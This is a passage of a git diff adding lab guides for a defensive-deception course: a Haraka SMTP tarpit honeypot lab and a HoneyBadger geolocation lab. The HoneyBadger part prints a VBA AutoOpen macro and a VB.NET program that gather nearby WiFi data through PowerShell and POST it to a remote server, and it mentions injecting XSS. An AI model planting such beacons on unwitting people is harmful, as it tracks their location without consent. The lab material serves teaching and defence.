+``` +tarpit +tarpit_demo +access +helo.checks +rcpt_to.in_host_list +data.headers +queue/smtp_forward +save_msg +``` + +- To exit and save the file do `Ctrl + x` and `y` and `Enter` + +4. + +```bash +nano plugins/tarpit_demo.js +``` + +- Paste: + +```js +// plugins/tarpit_demo.js +exports.hook_connect = function (next, connection) { + const seconds = 3; // delay per hook + connection.notes.tarpit = seconds; + connection.loginfo(this, 'tarpit_demo: setting tarpit to ' + seconds + ' seconds'); + next(); +}; +``` + +- To exit and save the file do `Ctrl + x` and `y` and `Enter` + +* `tarpit` will slow connections (deception). +* `save_msg` (we will add next) stores message files for analysis. + +--- + +## Add a simple message‑saving plugin + +- Create `plugins/save_msg.js` with this content. It writes received messages to `logs/msgs/`: + +```bash +nano plugins/save_msg.js +``` + +- Paste the following: + +```javascript +// plugins/save_msg.js +const fs = require('fs'); +const path = require('path'); + +exports.hook_data_post = function (next, connection) { + const txn = connection.transaction; + if (!txn) return next(); + + const outdir = path.join(__dirname, '..', 'logs', 'msgs'); + fs.mkdirSync(outdir, { recursive: true }); + + const fname = path.join( + outdir, + Date.now() + '-' + Math.floor(Math.random() * 10000) + '.eml' + ); + + const from = (txn.mail_from && txn.mail_from.original) ? + txn.mail_from.original : ''; + + const rcpts = (txn.rcpt_to || []) + .map(r => r.original) + .join(', '); + + const header = + 'From: ' + from + '\n' + + 'To: ' + rcpts + '\n\n'; + + const ws = fs.createWriteStream(fname); + ws.write(header); + + txn.message_stream.pipe(ws); + + ws.on('finish', () => { + connection.loginfo(this, 'saved message to ' + fname); + next(); + }); + + ws.on('error', (err) => { + connection.logerror(this, 'failed to save message: ' + err.message); + next(); + }); +}; +``` + +- To exit and save the file do `Ctrl + x` and `y` and `Enter` + +- Make the plugin executable: + +```bash +chmod 644 plugins/save_msg.js +``` + +--- + +## Tarpit configuration + +- Create `config/tarpit.ini` to customize tarpit behavior. Example (conservative delays): + +```bash +nano config/tarpit.ini +``` + +- Paste the following: + +```ini +# config/tarpit.ini +# base delay in seconds +base_delay=2 +# random extra delay (0..n seconds) +rand_delay=3 +# apply to all connections +enabled=1 +``` + + +- To exit and save the file do `Ctrl + x` and `y` and `Enter` + +- You can increase `base_delay` and `rand_delay` to make attacks slower during demonstrations + +--- + +## Start Haraka and confirm it is listening + +```bash +haraka -c . +``` + +2026-03-14_22-58 + +- Open another **Terminal** + +```bash +# check listen port +ss -ltnp | grep 2525 +``` + +2026-03-14_23-00 + + +--- + +## Simulate attacker behavior and observe tarpit + +### a) Manual SMTP session (telnet / netcat) + +```bash +nc localhost 2525 +``` + +- Then type: + +```bash +HELO attacker.example.com +``` + +```bash +MAIL FROM: +``` + +```bash +RCPT TO: +``` + +- Check the logs on the **Haraka** Terminal + +2026-03-14_23-04 + +- Now back at the **Attacker** Termianl + +```bash +QUIT +``` + +- Watch the **logs** on the first **terminal**. Connections will be slower depending on `tarpit.ini` settings + +### b) Scripted load with `swaks` + +```bash +# single message +swaks --server localhost:2525 --from attacker@evil.test --to victim@localhost --data "Subject: swaks test + +hello" +``` + +2026-03-14_23-07 + +```bash +# rapid loop to show tarpit effect +for i in {1..8}; do + swaks --server localhost:2525 --from t$i@x.test --to victim@localhost --data "Subject: loop $i + +hello $i" & +done +``` + +Because `tarpit` intentionally delays responses, the loop will take noticeably longer than without tarpit. Observe connection times in `haraka.out` + +--- + +## Demonstrate attacker frustration (timing comparison) + +- Stop **haraka**, from the **haraka** terminal do `Ctrl + c` + +1. Let's comment out `tarpit_demo` in plugin + +```bash +nano config/plugins +``` + +- Put a `#` in before `tarpit_demo` + +0 + +- To exit and save the file do `Ctrl + x` and `y` and `Enter` + +- Start it again + +2. Run the same `swaks` loop and measure how long it takes: + +```bash +time bash -c 'for i in {1..8}; do swaks --server localhost:2525 --from t$i@x.test --to victim@localhost --data "Subject: quick $i + +ok" & done; wait' +``` + +1 + +3. Re-enable tarpit (set delays back) and run the same `time` command again. The second run should take longer - this demonstrates the deceptive slowdown. + +2 + + + +*** +Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/ADHD/dionaea.md) + +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/ADHD/ModSecurity.md) + +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) + +***Finished with the Labs?*** + +Please be sure to destroy the lab environment! + +[Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) + +--- diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/HoneyBadger.md b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/HoneyBadger.md new file mode 100644 index 00000000..2f04d624 --- /dev/null +++ b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/HoneyBadger.md @@ -0,0 +1,438 @@ +![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) + +HoneyBadger +========================= + +Website +------- + + +Description +----------- +Used to identify the physical location of a web user with a combination of geolocation techniques using a browser's share location feature, the visible WiFi networks, and the IP address. + +Updates +------- +What's new in HoneyBadger? + +* Updated to Python 3.x +* API keys extracted as CLI arguments +* New fallback geolocation APIs added (IPStack, IPInfo.io) +* New utilities for automatic wireless surveying (Windows, Linux) +* New beacon agents (VB.NET, VBA) + + +Install Location +---------------- +`~/ADCD/honeybadger/` + + +Usage +----- +- In order to use the latest version of **HoneyBadger**, **Python 3** must be installed, as well as **python3-pip**. These should both be installed on the **ADHD image** + +```bash +cd ~/ADCD/honeybadger/server +``` + +```bash +source venv/bin/activate +``` + +- Finally, from the same directory, run the HoneyBadger server: +```bash +python3 honeybadger.py -ik [IPSTACK_KEY] -gk [GOOGLE_KEY] +``` + + +>[!NOTE] +> +>Though HoneyBadger will still run without API keys, functionality is severely limited without them. + + +# Example 1: Overview + +- The **HoneyBadger UI** has many features. This section will give a brief overview of HoneyBadger's pages. + +- Please surf to `http://:5000` + + +>[!IMPORTANT] +> +>PLEASE USE FIREFOX!!!! + +- The user and password are `adhd`. + +- Navigate to the HoneyBadger server, and you will be presented with the following screen: + +![](../HoneyBadger_files/hb_login.png) + +- Use the credentials set earlier to log in, and you will be brought to the map. + +- To navigate to other pages of HoneyBadger, use the navigation bar in the top right corner: + +![](../HoneyBadger_files/hb_navbar.png) + +### 1. Map +- The map is the default landing page after logging in. + +![](../HoneyBadger_files/hb_map.png) + +- The map is the main event of HoneyBadger in terms of presentation, and will pin a location when a beacon is triggered. + +### 2. Targets +- Navigate to the targets page. + +![](../HoneyBadger_files/hb_targets.png) + +- The targets page is where targets can be observed, added, or removed, The page also serves as a way to generate several agents that are not quickly generated manually. + +### 3. Beacons +- Navigate to the beacons page. + +![](../HoneyBadger_files/hb_beacons.png) + +- The beacons page maintains a list of beacons that connect to HoneyBadger and successfully geolocate. Beacons can be removed from this page as well. + +### 4. Log +- Navigate to the log page. + +![](../HoneyBadger_files/hb_log_empty.png) + +- The log page is populated with information as beacons attempt to connect to the HoneyBadger server, and may be empty if accessed before any beacons connect to the server. + +### 5. Profile +- Navigate to the profile page. + +![](../HoneyBadger_files/hb_profile.png) + +- The profile page allows for changing the password of the currently logged in account. + +### 6. Admin +- Navigate to the admin page. + +![](../HoneyBadger_files/hb_admin.png) + +- The admin page is where administrative actions can be performed on accounts, and where new accounts can be added. + +### 7. Logout +- Clicking logout on the navbar will log you out, bringing you back to the login page. + +![](../HoneyBadger_files/hb_logout.png) + +>[!NOTE] +> All pages containing a table of records can be sorted by clicking on the table headings. + +# Example 2: Using the Map + +- Navigate to the map page. + +![](../HoneyBadger_files/hb_map.png) + +- At its core, the map page uses the Google Maps API, and functions identically to the standard Google Maps. + +- Several options are available for filtering map points by targets and by agents, using the map legend: + +![](../HoneyBadger_files/hb_map_legend.png) + +- As targets are added or unique agents are used to beacon into a target, they will show up in this legend. Toggling checkboxes in the legend enables filtering of beacons that are displayed in the map. + +- Points on the map can be clicked to display information about the machine that beaconed in: + +![](../HoneyBadger_files/hb_map_beacondetails.png) + + +# Example 3: Working with Targets + +- Navigate to the targets page. + +![](../HoneyBadger_files/hb_targets.png) + +- Take a closer look at the information associated with the demo target: + +![](../HoneyBadger_files/hb_targets_targetinfo.png) + +- Moving left to right: + +* id: list id number +* name: name of the target +* guid: unique id of the target +* beacon_count: number of beacons associated with the target +* action: available actions regarding the target + - macro: generate a VBA macro beacon for the target + - VB.NET: generate a VB.NET beacon for the target + - demo: navigate to the target's demo page + - delete: delete the target + +- Note that clicking on any of the first four table headings will sort the table based on that column in ascending or descending order, as indicated by an arrow that appears upon clicking. + +- To add a new target, enter the target name in the field at the top of the page, and click the add button. + +- The new target will appear in the list: + +![](../HoneyBadger_files/hb_targets_targetadd.png) + +- Two agents can be generated from this page, one for VBA Office macros and one for VB.NET. + +- Clicking on the macro button will show the macro in a popup: + +![](../HoneyBadger_files/hb_targets_targetVBA.png) + +- Clicking on on the VB.NET button will show the VB.NET code in a popup: + +![](../HoneyBadger_files/hb_targets_targetVBNET.png) + +>[!NOTE] +> +>Though HoneyBadger attempts to copy the code to the clipboard, it's safest to simply copy the macro by hand. + +- To delete a target, click the target's delete button. A prompt will appear: + +![](../HoneyBadger_files/hb_targets_targetdelete.png) + +- Click OK, and the target will be removed from the list. + + +# Example 4: Working with Beacons + +- Navigate to the beacons page. + +![](../HoneyBadger_files/hb_beacons.png) + +- Take a closer look at the information associated with the first demo beacon: + +![](../HoneyBadger_files/hb_beacons_beaconinfo.png) + +- Moving left to right: + +* id: list id number +* target: which target the beacon associated with +* agent: the agent that the beacon used to communicate with the server +* lat: geolocation latitude of the beacon +* lng: geolocation longitude of the beacon +* acc: geolocation accuracy of the beacon +* ip: IP address of the beacon +* created: timestamp of beacon creation +* action: available action regarding the target + - delete: delete the beacon + +- Using an agent, beacon into HoneyBadger, and refresh the beacons page to see a new beacon added to the list: + +![](../HoneyBadger_files/hb_beacons_beaconadded.png) + +- To delete a beacon, click the beacon's delete button. A prompt will appear: + +![](../HoneyBadger_files/hb_beacons_beacondelete.png) + +- Click OK, and the beacon will be removed from the list + + +# Example 5: Observing the Log + +- Navigate to the log page. + +![](../HoneyBadger_files/hb_log.png) + +- The log page has been populated with information after the beacon was added in Example 4. The log contains information pertaining to the beacon, and will contain information if a beacon is unable to geolocate. + +# Example 6: Changing Profile Information + +- Navigate to the profile page. + +![](../HoneyBadger_files/hb_profile.png) + +- To change a password, fill in the fields accordingly. Note that passwords set with the profile page must meet minimum complexity requirements of a minimum of 10 characters, of which all four character classes (uppercase letters, lowercase letters, special characters, and numbers) must be used. + +- If the password does not meet minimum complexity requirements, the password is rejected and the user is notified: + +![](../HoneyBadger_files/hb_profile_badcomplexity.png) + +- Upon successful password change, the user is notified: + +![](../HoneyBadger_files/hb_profile_profileupdated.png) + +# Example 7: Administration + +- Navigate to the admin page. + +![](../HoneyBadger_files/hb_admin.png) + +- Note that modification of the current user is not allowed. If this is attempted, the user is notified of this: + +![](../HoneyBadger_files/hb_admin_selfmodify.png) + +- To add a new user, enter an email address in the box above, and click initialize. The new user will appear in the list: + +![](../HoneyBadger_files/hb_admin_useradded.png) + +- To get an activation link to the user, click the get link button. The link will be copied to the clipboard. + +- To delete a user, click the user's delete button. The following prompt will appear: + +![](../HoneyBadger_files/hb_admin_userdelete.png) + +- Click OK, and the user will be removed from the list: + +![](../HoneyBadger_files/hb_admin_userdeleted.png) + +- Example 8: Agents + +### 1. Demo Page + +- Navigate to the targets page. + +![](../HoneyBadger_files/hb_targets.png) + +- Click on the demo button to be taken to the demo page: + +![](../HoneyBadger_files/hb_demo.png) + +- Enter some XSS code into the first field, and the current user's password into the second field, and click submit. + +- If the inputted XSS code worked, the following string of popups will appear. + +![](../HoneyBadger_files/hb_demo_locationrequest.png) + +- Click on Share Location. + +![](../HoneyBadger_files/hb_demo_consentprompt.png) + +- Click OK. + +![](../HoneyBadger_files/hb_demo_appletprompt.png) + +- Click Allow Now. + +![](../HoneyBadger_files/hb_demo_appletprompt_again.png) + +- Click Run. + +![](../HoneyBadger_files/hb_demo_appletsecurity.png) + +- Click Yes. + +![](../HoneyBadger_files/hb_demo_applethoney.png) + +- Click Yes. + +![](../HoneyBadger_files/hb_demo_applethoney_again.png) + +- After clicking through all of the prompts, the page will load. Reload the HoneyBadger beacons page to see that a new beacon is added: +![](../HoneyBadger_files/hb_demo_jsbeacon.png) + + +### 2. VBA Macro +The VBA macro code are not included as comments in the generated popup for the sake of brevity. The VBA macro functionality is explained here. In short, the VBA macro imitates the powershell script. + + Sub AutoOpen() + ' Create an instance of a WSH shell for system commands + Set objWSH = CreateObject("WScript.Shell") + + ' Run the netsh command via powershell for automatic wireless survey + wifi = objWSH.Exec("powershell netsh wlan show networks mode=bssid | findstr 'SSID Signal Channel'").StdOut.ReadAll + + ' Open a file handle to a temporary file and write netsh results to file + Open Environ("temp") & "\wifidat.txt" For Output As #1 + Print #1, wifi + Close #1 + + ' Read contents in from temp file, fixing encoding issues with the web request + wifi = objWSH.Exec("powershell Get-Content %TEMP%\wifidat.txt -Encoding UTF8 -Raw").StdOut.ReadAll + + ' Remove the temporary file + Kill Environ("temp") & "\wifidat.txt" + + ' Base64-encode the netsh data for sending. + wifienc = objWSH.Exec("powershell -Command ""& {[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('" & wifi & "'))}""").StdOut.ReadAll + + ' Create a web object + Set objHTTP = CreateObject("MSXML2.ServerXMLHTTP") + + ' Open the connection via POST request to the HoneyBadger server + objHTTP.Open "POST", "http://:5000/api/beacon/aedc4c63-8d13-4a22-81c5-d52d32293867/VBA" + + ' Set request headers to make the server aware of the POST form data + objHTTP.setRequestHeader "Content-Type", "application/x-www-form-urlencoded" + + ' Send the properly formatted POST form to the server + objHTTP.Send "os=windows&data=" & wifienc + End Sub + +To use the macro code, simply open a document, paste this macro inside, and save as a .docm file. Upon opening and accepting to run code, the macro will be triggered and the beacon will be added. + + +### 3. VB.NET Script +The VB.NET code is identical in function and near identical in structure to the VBA macro. Changes needed to be made to make it a valid VB.NET script, for version difference issues between VB.NET and VBA. Like the macro, the VB.NET functionality is explained here: + + Imports System.IO + + Module HoneyBadgerBeacon + Sub Main() + ' Create and initialize a new WSH shell object + Dim objWSH As New Object + objWSH = CreateObject("WScript.Shell") + + ' Create and initialize the wifi data variable + Dim wifi As String + wifi = objWSH.Exec("powershell netsh wlan show networks mode=bssid | findstr 'SSID Signal Channel'").StdOut.ReadAll + + ' Create a temp file + Dim objWriter As New System.IO.StreamWriter(Environ("temp") & "\wifidat.txt") + + ' Write data to file + objWriter.Write(wifi) + + ' Close file + objWriter.Close(0) + + ' Read in the temp file contents with proper encoding + wifi = objWSH.Exec("powershell Get-Content %TEMP%\wifidat.txt -Encoding UTF8 -Raw").StdOut.ReadAll + + ' Delete temp file + Kill(Environ("temp") & "\wifidat.txt") + + ' Base64-encode data + wifi = objWSH.Exec("powershell -Command ""& {[System.Convert]::ToBase64String([System.Text.Encoding]::UTF88.GetBytes('" & wifi & "'))}""").StdOut.ReadAll + + ' Create new web object + Dim objHTTP As New Object + objHTTP = CreateObject("MSXML2.ServerXMLHTTP") + + ' Open POST request to server + objHTTP.Open("POST", "http://:5000/api/beacon/aedc4c63-8d13-4a22-81c5-d52d32293867/VB") + + ' Set request headers to notify server of POST form data + objHTTP.setRequestHeader("Content-Type", "application/x-www-form-urlencoded") + + ' Send the formatted data to the server + objHTTP.Send("os=windows&data=" & wifi) + End Sub + End Module + +Copy this script into a file with a .vb extension, and run vbc .vb to compile, and then run .exe to create the beacon. + + +### 4. HTML +- To use a beacon with the HTML agent, go to the targets page and copy the GUID of the desired target, and create a URL formatted like so: +`http://:5000/api/beacon//HTML?lat=&lng=&acc=` + +- Navigate to this page in a browser. The server will return a 404 + + +### 5. CMD +- The CMD agent is a type of HTML agent, as the beacon is created via web requests on the command line. There are two utilities in the util directory of HoneyBadger, one for windows and one for linux. They utilize Google's geolocation API. Usage information is available in those scripts. + + *** +Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/ADHD/honeyshare/HoneyShare.md) + +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/ADHD/Beelzebub.md) + +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) + +***Finished with the Labs?*** + +Please be sure to destroy the lab environment! + +[Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) + +--- diff --git a/IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_admin.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_admin.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_admin.png rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_admin.png diff --git a/IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_admin_profileinfo.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_admin_profileinfo.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_admin_profileinfo.png rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_admin_profileinfo.png diff --git a/IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_admin_selfmodify.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_admin_selfmodify.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_admin_selfmodify.png rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_admin_selfmodify.png diff --git a/IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_admin_useradded.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_admin_useradded.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_admin_useradded.png rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_admin_useradded.png diff --git a/IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_admin_userdelete.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_admin_userdelete.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_admin_userdelete.png rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_admin_userdelete.png diff --git a/IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_admin_userdeleted.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_admin_userdeleted.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_admin_userdeleted.png rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_admin_userdeleted.png diff --git a/IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_beacons.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_beacons.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_beacons.png rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_beacons.png diff --git a/IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_beacons_beaconadded.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_beacons_beaconadded.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_beacons_beaconadded.png rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_beacons_beaconadded.png diff --git a/IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_beacons_beacondelete.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_beacons_beacondelete.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_beacons_beacondelete.png rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_beacons_beacondelete.png diff --git a/IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_beacons_beaconinfo.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_beacons_beaconinfo.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_beacons_beaconinfo.png rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_beacons_beaconinfo.png diff --git a/IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_demo.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_demo.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_demo.png rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_demo.png diff --git a/IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_demo_applethoney.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_demo_applethoney.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_demo_applethoney.png rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_demo_applethoney.png diff --git a/IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_demo_applethoney_again.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_demo_applethoney_again.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_demo_applethoney_again.png rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_demo_applethoney_again.png diff --git a/IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_demo_appletprompt.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_demo_appletprompt.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_demo_appletprompt.png rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_demo_appletprompt.png diff --git a/IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_demo_appletprompt_again.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_demo_appletprompt_again.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_demo_appletprompt_again.png rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_demo_appletprompt_again.png diff --git a/IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_demo_appletsecurity.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_demo_appletsecurity.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_demo_appletsecurity.png rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_demo_appletsecurity.png diff --git a/IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_demo_consentprompt.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_demo_consentprompt.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_demo_consentprompt.png rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_demo_consentprompt.png diff --git a/IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_demo_jsbeacon.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_demo_jsbeacon.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_demo_jsbeacon.png rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_demo_jsbeacon.png diff --git a/IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_demo_locationrequest.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_demo_locationrequest.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_demo_locationrequest.png rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_demo_locationrequest.png diff --git a/IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_log.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_log.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_log.png rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_log.png diff --git a/IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_log_empty.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_log_empty.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_log_empty.png rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_log_empty.png diff --git a/IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_login.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_login.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_login.png rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_login.png diff --git a/IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_logout.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_logout.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_logout.png rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_logout.png diff --git a/IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_map.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_map.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_map.png rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_map.png diff --git a/IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_map_beacondetails.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_map_beacondetails.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_map_beacondetails.png rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_map_beacondetails.png diff --git a/IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_map_legend.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_map_legend.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_map_legend.png rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_map_legend.png diff --git a/IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_navbar.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_navbar.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_navbar.png rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_navbar.png diff --git a/IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_profile.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_profile.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_profile.png rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_profile.png diff --git a/IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_profile_badcomplexity.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_profile_badcomplexity.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_profile_badcomplexity.png rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_profile_badcomplexity.png diff --git a/IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_profile_passwordchange.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_profile_passwordchange.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_profile_passwordchange.png rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_profile_passwordchange.png diff --git a/IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_profile_profileupdated.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_profile_profileupdated.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_profile_profileupdated.png rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_profile_profileupdated.png diff --git a/IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_targets.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_targets.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_targets.png rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_targets.png diff --git a/IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_targets_targetVBA.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_targets_targetVBA.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_targets_targetVBA.png rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_targets_targetVBA.png diff --git a/IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_targets_targetVBNET.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_targets_targetVBNET.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_targets_targetVBNET.png rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_targets_targetVBNET.png diff --git a/IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_targets_targetadd.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_targets_targetadd.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_targets_targetadd.png rename to 